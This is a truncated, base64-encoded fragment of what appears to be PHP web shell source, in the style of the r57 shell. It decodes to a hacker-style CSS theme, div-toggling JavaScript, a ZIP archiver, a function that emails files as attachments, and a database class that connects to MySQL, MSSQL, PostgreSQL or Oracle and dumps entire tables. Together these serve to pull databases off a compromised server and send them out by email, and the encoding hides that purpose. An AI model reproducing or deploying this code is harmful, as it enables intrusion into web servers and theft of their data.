kQtQ09MT1I6IEJsYWNrOw0Kd2lkdGg6IDMwJTsNCmNvbG9yOiBXaGl0ZTsNCn0NCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIFdoaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIFdoaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006IEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiBXaGl0ZTsNCn0NCkJPRFkgew0KCVNDUk9MTEJBUi1GQUNFLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi1TSEFET1ctQ09MT1I6IFdoaXRlOyBTQ1JPTExCQVItM0RMSUdIVC1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiBXaGl0ZQ0KbWFyZ2luOiAxcHg7DQpjb2xvcjogUmVkOw0KYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7DQp9DQoubWFpbiB7DQptYXJnaW4JCQk6IC0yODdweCAwcHggMHB4IC00OTBweDsNCmJvcmRlcgkJCTogV2hpdGUgc29saWQgMXB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KfQ0KLnR0IHsNCmJhY2tncm91bmQtY29sb3I6IEJsYWNrOw0KfQ0KDQpBOmxpbmsgew0KCUNPTE9SOiAjMzQ3MjAyOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMzNDcyMDI7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJQ09MT1I6IFdoaXRlOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KPC9TVFlMRT4NCjxzY3JpcHQgbGFuZ3VhZ2U9XCdqYXZhc2NyaXB0XCc+DQpmdW5jdGlvbiBoaWRlX2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7DQp9DQpmdW5jdGlvbiBzaG93X2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0xO1wnOw0KfQ0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQ0Kew0KICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpDQogICAgc2hvd19kaXYoaWQpOw0KICBlbHNlDQogICAgaGlkZV9kaXYoaWQpOw0KfQ0KPC9zY3JpcHQ+JzsNCmNsYXNzIHppcGZpbGUNCnsNCiAgICB2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQogICAgdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KICAgIHZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsNCiAgICB2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQogICAgZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsNCiAgICAgICAgJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQogICAgICAgIGlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7DQogICAgICAgICAgICAkdGltZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7DQogICAgICAgICAgICAkdGltZWFycmF5Wydob3VycyddICAgPSAwOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwNCiAgICAgICAgICAgICAgICAoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCiAgICB9DQogICAgZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkNCiAgICB7DQogICAgICAgICRuYW1lICAgICA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5hbWUpOw0KICAgICAgICAkZHRpbWUgICAgPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOw0KICAgICAgICAkaGV4ZHRpbWUgPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOw0KICAgICAgICBldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOw0KICAgICAgICAkZnIgICA9ICJceDUwXHg0Ylx4MDNceDA0IjsNCiAgICAgICAgJGZyICAgLj0gIlx4MTRceDAwIjsNCiAgICAgICAgJGZyICAgLj0gIlx4MDBceDAwIjsNCiAgICAgICAgJGZyICAgLj0gIlx4MDhceDAwIjsNCiAgICAgICAgJGZyICAgLj0gJGhleGR0aW1lOw0KICAgICAgICAkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7DQogICAgICAgICRjcmMgICAgID0gY3JjMzIoJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9IGd6Y29tcHJlc3MoJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsNCiAgICAgICAgJGNfbGVuICAgPSBzdHJsZW4oJHpkYXRhKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjcmMpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2JywgMCk7DQogICAgICAgICRmciAgICAgIC49ICRuYW1lOw0KICAgICAgICAkZnIgLj0gJHpkYXRhOw0KICAgICAgICAkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQogICAgICAgICRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDAwXHgwMCI7DQogICAgICAgICRjZHJlYyAuPSAiXHgxNFx4MDAiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDA4XHgwMCI7DQogICAgICAgICRjZHJlYyAuPSAkaGV4ZHRpbWU7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJGNyYyk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICR0aGlzIC0+IG9sZF9vZmZzZXQgKTsNCiAgICAgICAgJHRoaXMgLT4gb2xkX29mZnNldCArPSBzdHJsZW4oJGZyKTsNCiAgICAgICAgJGNkcmVjIC49ICRuYW1lOw0KICAgICAgICAkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KICAgIH0NCiAgICBmdW5jdGlvbiBmaWxlKCkNCiAgICB7DQogICAgICAgICRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQogICAgICAgICRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOw0KICAgICAgICByZXR1cm4NCiAgICAgICAgICAgICRkYXRhIC4NCiAgICAgICAgICAgICRjdHJsZGlyIC4NCiAgICAgICAgICAgICR0aGlzIC0+IGVvZl9jdHJsX2RpciAuDQogICAgICAgICAgICBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLg0KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4NCiAgICAgICAgICAgIHBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKSAuDQogICAgICAgICAgICBwYWNrKCdWJywgc3RybGVuKCRkYXRhKSkgLg0KICAgICAgICAgICAgIlx4MDBceDAwIjsNCiAgICB9DQp9DQpmdW5jdGlvbiBjb21wcmVzcygmJGZpbGVuYW1lLCYkZmlsZWR1bXAsJGNvbXByZXNzKQ0KIHsNCiAgICBnbG9iYWwgJGNvbnRlbnRfZW5jb2Rpbmc7DQogICAgZ2xvYmFsICRtaW1lX3R5cGU7DQogICAgaWYgKCRjb21wcmVzcyA9PSAnYnppcCcgJiYgQGZ1bmN0aW9uX2V4aXN0cygnYnpjb21wcmVzcycpKQ0KICAgICB7DQogICAgICAgICRmaWxlbmFtZSAgLj0gJy5iejInOw0KICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3gtYnppcDInOw0KICAgICAgICAkZmlsZWR1bXAgPSBiemNvbXByZXNzKCRmaWxlZHVtcCk7DQogICAgIH0NCiAgICAgZWxzZSBpZiAoJGNvbXByZXNzID09ICdnemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKQ0KICAgICB7DQogICAgICAgICRmaWxlbmFtZSAgLj0gJy5neic7DQogICAgICAgICRjb250ZW50X2VuY29kaW5nID0gJ3gtZ3ppcCc7DQogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1nemlwJzsNCiAgICAgICAgJGZpbGVkdW1wID0gZ3plbmNvZGUoJGZpbGVkdW1wKTsNCiAgICAgfQ0KICAgICBlbHNlIGlmICgkY29tcHJlc3MgPT0gJ3ppcCcgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQ0KICAgICB7DQogICAgIAkkZmlsZW5hbWUgLj0gJy56aXAnOw0KICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3ppcCc7DQogICAgICAgICR6aXBmaWxlID0gbmV3IHppcGZpbGUoKTsNCiAgICAgICAgJHppcGZpbGUgLT4gYWRkRmlsZSgkZmlsZWR1bXAsIHN1YnN0cigkZmlsZW5hbWUsIDAsIC00KSk7DQogICAgICAgICRmaWxlZHVtcCA9ICR6aXBmaWxlIC0+IGZpbGUoKTsNCiAgICAgfQ0KICAgICBlbHNlDQogICAgIHsNCiAgICAgCSRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsNCiAgICAgfQ0KIH0NCmZ1bmN0aW9uIG1haWxhdHRhY2goJHRvLCRmcm9tLCRzdWJqLCRhdHRhY2gpDQogew0KICRoZWFkZXJzICA9ICJGcm9tOiAkZnJvbVxyXG4iOw0KICRoZWFkZXJzIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOw0KICRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6ICIuJGF0dGFjaFsndHlwZSddOw0KICRoZWFkZXJzIC49ICI7IG5hbWU9XCIiLiRhdHRhY2hbJ25hbWUnXS4iXCJcclxuIjsNCiAkaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblxyXG4iOw0KICRoZWFkZXJzIC49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJGF0dGFjaFsnY29udGVudCddKSkuIlxyXG4iOw0KIGlmKEBtYWlsKCR0bywkc3ViaiwiIiwkaGVhZGVycykpIHsgcmV0dXJuIDE7IH0NCiByZXR1cm4gMDsNCiB9DQpjbGFzcyBteV9zcWwNCiB7DQogdmFyICRob3N0ID0gJ2xvY2FsaG9zdCc7DQogdmFyICRwb3J0ID0gJyc7DQogdmFyICR1c2VyID0gJyc7DQogdmFyICRwYXNzID0gJyc7DQogdmFyICRiYXNlID0gJyc7DQogdmFyICRkYiAgID0gJyc7DQogdmFyICRjb25uZWN0aW9uOw0KIHZhciAkcmVzOw0KIHZhciAkZXJyb3I7DQogdmFyICRyb3dzOw0KIHZhciAkY29sdW1uczsNCiB2YXIgJG51bV9yb3dzOw0KIHZhciAkbnVtX2ZpZWxkczsNCiB2YXIgJGR1bXA7DQoNCiBmdW5jdGlvbiBjb25uZWN0KCkNCiAgew0KICAJc3dpdGNoKCR0aGlzLT5kYikNCiAgICAgew0KICAJIGNhc2UgJ015U1FMJzoNCiAgCSAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzMzMDYnOyB9DQogIAkgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogIAkgICR0aGlzLT5jb25uZWN0aW9uID0gQG15c3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJzonLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsNCiAgCSAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgCSBicmVhazsNCiAgICAgY2FzZSAnTVNTUUwnOg0KICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzE0MzMnOyB9DQogIAkgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogIAkgICR0aGlzLT5jb25uZWN0aW9uID0gQG1zc3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJywnLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsNCiAgICAgIGlmKCR0aGlzLT5jb25uZWN0aW9uKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzU0MzInOyB9DQogICAgICAkc3RyID0gImhvc3Q9JyIuJHRoaXMtPmhvc3QuIicgcG9ydD0nIi4kdGhpcy0+cG9ydC4iJyB1c2VyPSciLiR0aGlzLT51c2VyLiInIHBhc3N3b3JkPSciLiR0aGlzLT5wYXNzLiInIGRibmFtZT0nIi4kdGhpcy0+YmFzZS4iJyI7DQogICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiAwOw0KICAgICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAcGdfY29ubmVjdCgkc3RyKTsNCiAgICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgIGJyZWFrOw0KICAgICBjYXNlICdPcmFjbGUnOg0KICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgcmV0dXJuIDA7DQogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBvY2lsb2dvbigkdGhpcy0+dXNlciwgJHRoaXMtPnBhc3MsICR0aGlzLT5iYXNlKTsNCiAgICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgIGJyZWFrOw0KICAgICB9DQogICAgcmV0dXJuIDA7DQogIH0NCg0KIGZ1bmN0aW9uIHNlbGVjdF9kYigpDQogIHsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOg0KICAJIGlmKEBteXNxbF9zZWxlY3RfZGIoJHRoaXMtPmJhc2UsJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogIAkgaWYoQG1zc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMDsNCiAgfQ0KDQogZnVuY3Rpb24gcXVlcnkoJHF1ZXJ5KQ0KICB7DQogICAkdGhpcy0+cmVzPSR0aGlzLT5lcnJvcj0nJzsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBteXNxbF9xdWVyeSgnLyonLmNocigwKS4nKi8nLiRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gQG15c3FsX2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICBlbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAJYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBtc3NxbF9xdWVyeSgkcXVlcnksJHRoaXMtPmNvbm5lY3Rpb24pKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBlcnJvcic7DQogICAgICByZXR1cm4gMDsNCiAgICAgIH0NCiAgICAgIGVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQ0KICAgICByZXR1cm4gMjsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AcGdfcXVlcnkoJHRoaXMtPmNvbm5lY3Rpb24sJHF1ZXJ5KSkpDQogICAgICB7DQogICAgICAkdGhpcy0+ZXJyb3IgPSBAcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgICByZXR1cm4gMDsNCiAgICAgIH0NCiAgICAgIGVsc2UgaWYoQHBnX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQ0KICAgICByZXR1cm4gMjsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBvY2lwYXJzZSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBwYXJzZSBlcnJvcic7DQogICAgICB9DQogICAgIGVsc2UNCiAgICAgIHsNCiAgICAgIGlmKEBvY2lleGVjdXRlKCR0aGlzLT5yZXMpKQ0KICAgICAgIHsNCiAgICAgICBpZihAb2Npcm93Y291bnQoJHRoaXMtPnJlcykgIT0gMCkgcmV0dXJuIDI7DQogICAgICAgcmV0dXJuIDE7DQogICAgICAgfQ0KICAgICAgJGVycm9yID0gQG9jaWVycm9yKCk7DQogICAgICAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107DQogICAgICB9DQogICAgYnJlYWs7DQogICAgfQ0KICByZXR1cm4gMDsNCiAgfQ0KIGZ1bmN0aW9uIGdldF9yZXN1bHQoKQ0KICB7DQogICAkdGhpcy0+cm93cz1hcnJheSgpOw0KICAgJHRoaXMtPmNvbHVtbnM9YXJyYXkoKTsNCiAgICR0aGlzLT5udW1fcm93cz0kdGhpcy0+bnVtX2ZpZWxkcz0wOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgJHRoaXMtPm51bV9yb3dzPUBteXNxbF9udW1fcm93cygkdGhpcy0+cmVzKTsNCiAgCSAkdGhpcy0+bnVtX2ZpZWxkcz1AbXlzcWxfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsNCiAgCSB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsNCiAgCSBAbXlzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQogIAkgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgCSAkdGhpcy0+bnVtX3Jvd3M9QG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOw0KICAJICR0aGlzLT5udW1fZmllbGRzPUBtc3NxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOw0KICAJIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBtc3NxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOw0KICAJIEBtc3NxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsNCiAgCSBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9Ow0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAJICR0aGlzLT5udW1fcm93cz1AcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7DQogIAkgJHRoaXMtPm51bV9maWVsZHM9QHBnX251bV9maWVsZHMoJHRoaXMtPnJlcyk7DQogIAkgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQHBnX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQogIAkgQHBnX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOw0KICAJIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICAkdGhpcy0+bnVtX2ZpZWxkcz1Ab2NpbnVtY29scygkdGhpcy0+cmVzKTsNCiAgICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpICR0aGlzLT5udW1fcm93cysrOw0KICAgICBAb2NpZnJlZXN0YXRlbWVudCgkdGhpcy0+cmVzKTsNCiAgICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZHVtcCgkdGFibGUpDQogIHsNCiAgIGlmKGVtcHR5KCR0YWJsZSkpIHJldHVybiAwOw0KICAgJHRoaXMtPmR1bXA9YXJyYXkoKTsNCiAgICR0aGlzLT5kdW1wWzBdID0gJyMjJzsNCiAgICR0aGlzLT5kdW1wWzFdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgJHRoaXMtPmR1bXBbMl0gPSAnIyMgIENyZWF0ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7DQogICAkdGhpcy0+ZHVtcFszXSA9ICcjIyBEYXRhYmFzZTogJy4kdGhpcy0+YmFzZTsNCiAgICR0aGlzLT5kdW1wWzRdID0gJyMjICAgIFRhYmxlOiAnLiR0YWJsZTsNCiAgICR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgJHRoaXMtPmR1bXBbMF0gPSAnIyMgTXlTUUwgZHVtcCc7DQogIAkgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7DQogIAkgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAJICR0aGlzLT5kdW1wW10gPSAkdGhpcy0+cm93c1swXVsnQ3JlYXRlIFRhYmxlJ107DQogICAgICR0aGlzLT5kdW1wW10gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7DQogIAkgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsNCiAgCSBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQogIAkgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogIAkgIHsNCiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9DQogIAkgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIChgJy5AaW1wbG9kZSgiYCwgYCIsICR0aGlzLT5jb2x1bW5zKS4nYCkgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgCSAgfQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgTVNTUUwgZHVtcCc7DQogICAgIGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOw0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgCSBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgCSAgew0KICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBhZGRzbGFzaGVzKCR2KTt9DQogIAkgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgCSAgfQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBQb3N0Z3JlU1FMIGR1bXAnOw0KICAgICBpZigkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqI